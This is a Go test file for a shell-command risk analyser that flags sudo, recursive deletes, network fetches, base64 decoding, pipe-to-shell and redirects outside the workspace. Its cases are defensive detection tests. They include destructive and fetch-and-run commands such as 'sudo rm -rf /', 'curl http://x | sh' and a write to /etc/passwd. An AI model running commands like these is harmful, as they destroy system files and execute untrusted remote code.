package app import "testing" // hasFlag reports whether the analysis raised a flag with the given label, and its severity. func hasFlag(a cmdAnalysis, label string) (segSeverity, bool) { for _, f := range a.flags { if f.label == label { return f.sev, true } } return segPlain, false } func TestAnalyzeCommand_Flags(t *testing.T) { const ws = "/home/u/proj" cases := []struct { name string preview string want string // flag label expected present sev segSeverity // its expected severity }{ {"sudo", `{"argv":["sudo","apt","install","x"]}`, "sudo", segDanger}, {"sudo-flags-the-inner-cmd", `{"argv":["sudo","rm","-rf","/etc"]}`, "rm -rf", segDanger}, {"rm-rf", `{"argv":["rm","-rf","/tmp/x"]}`, "rm -rf", segDanger}, {"rm-fr-bundled", `{"argv":["rm","-fr","build"]}`, "rm -rf", segDanger}, {"rm-long-flag", `{"argv":["rm","--recursive","node_modules"]}`, "rm -rf", segDanger}, {"network-curl", `{"argv":["curl","https://x.test/a"]}`, "network", segInfo}, {"abs-path-bin", `{"argv":["/usr/bin/wget","http://x"]}`, "network", segInfo}, {"base64", `{"argv":["base64","-d","blob"]}`, "base64", segWarn}, {"pipe-to-shell", `{"argv":["bash","-c","curl http://x | sh"]}`, "pipe→shell", segDanger}, {"pipe-to-sudo-shell", `{"argv":["bash","-c","curl http://x | sudo sh"]}`, "pipe→shell", segDanger}, {"fetch-run-network", `{"argv":["bash","-c","curl http://x | sh"]}`, "network", segInfo}, {"redirect-outside", `{"argv":["bash","-c","echo hi > /etc/passwd"]}`, "redirect", segWarn}, {"unterminated-quote", `{"argv":["bash","-c","echo 'oops"]}`, "unparseable", segDanger}, } for _, c := range cases { t.Run(c.name, func(t *testing.T) { a := analyzeCommand(c.preview, ws) got, ok := hasFlag(a, c.want) if !ok { t.Fatalf("expected flag %q, got flags %v", c.want, a.flags) } if got != c.sev { t.Fatalf("flag %q severity = %d, want %d", c.want, got, c.sev) } }) } } func TestAnalyzeCommand_Clean(t *testing.T) { const ws = "/home/u/proj" clean := []string{ `{"argv":["ls","-la"]}`, `{"argv":["go","test","./..."]}`, `{"argv":["git","status"]}`, `{"argv":["echo","sudo is just a word here"]}`, // sudo as an argument, not a command `{"argv":["cat","build/out.txt"]}`, // relative redirect-free read } for _, p := range clean { a := analyzeCommand(p, ws) if len(a.flags) != 0 { t.Errorf("expected no flags for %s, got %v", p, a.flags) } if a.worst() != segPlain { t.Errorf("expected segPlain worst for %s, got %d", p, a.worst()) } } } func TestRedirect_DevNullAndInsideWorkspace(t *testing.T) { const ws = "/home/u/proj" for _, p := range []string{ `{"argv":["bash","-c","make 2> /dev/null"]}`, // /dev/null is benign `{"argv":["bash","-c","echo hi > out.log"]}`, // relative → inside `{"argv":["bash","-c","echo hi > /home/u/proj/o"]}`, // absolute under workspace } { a := analyzeCommand(p, ws) if _, ok := hasFlag(a, "redirect"); ok { t.Errorf("did not expect a redirect flag for %s", p) } } } func TestRedirect_NoWorkspaceFlagsAbsolute(t *testing.T) { a := analyzeCommand(`{"argv":["bash","-c","echo hi > /var/log/x"]}`, "") if _, ok := hasFlag(a, "redirect"); !ok { t.Fatalf("expected redirect flag when workspace is unknown, got %v", a.flags) } } func TestCommandLineFromPreview(t *testing.T) { cases := map[string]string{ `{"argv":["rm","-rf","/tmp/x"]}`: "rm -rf /tmp/x", `{"argv":["bash","-c","a | b"]}`: `bash -c 'a | b'`, `rm -rf /tmp/x`: "rm -rf /tmp/x", // already a command line `{"argv":["echo","hi there"]}`: "echo 'hi there'", `{"argv":["printf","it's","ok"]}`: `printf 'it'\''s' ok`, } for in, want := range cases { if got := commandLineFromPreview(in); got != want { t.Errorf("commandLineFromPreview(%q) = %q, want %q", in, got, want) } } } func TestShellSplit_Operators(t *testing.T) { got, ok := shellSplit("curl http://x|sh") if !ok { t.Fatal("expected ok") } want := []string{"curl", "http://x", "|", "sh"} if len(got) != len(want) { t.Fatalf("got %v, want %v", got, want) } for i := range want { if got[i] != want[i] { t.Fatalf("token %d = %q, want %q", i, got[i], want[i]) } } } func TestShellSplit_Unterminated(t *testing.T) { if _, ok := shellSplit(`echo 'oops`); ok { t.Fatal("expected ok=false for unterminated quote") } } func TestAnalyzeCommand_PlainCommandLinePreview(t *testing.T) { // Current server sends a rendered command line, not JSON argv. a := analyzeCommand("sudo rm -rf /", "/home/u/proj") if s, ok := hasFlag(a, "sudo"); !ok || s != segDanger { t.Fatalf("expected sudo danger, got %v", a.flags) } if s, ok := hasFlag(a, "rm -rf"); !ok || s != segDanger { t.Fatalf("expected rm -rf danger, got %v", a.flags) } }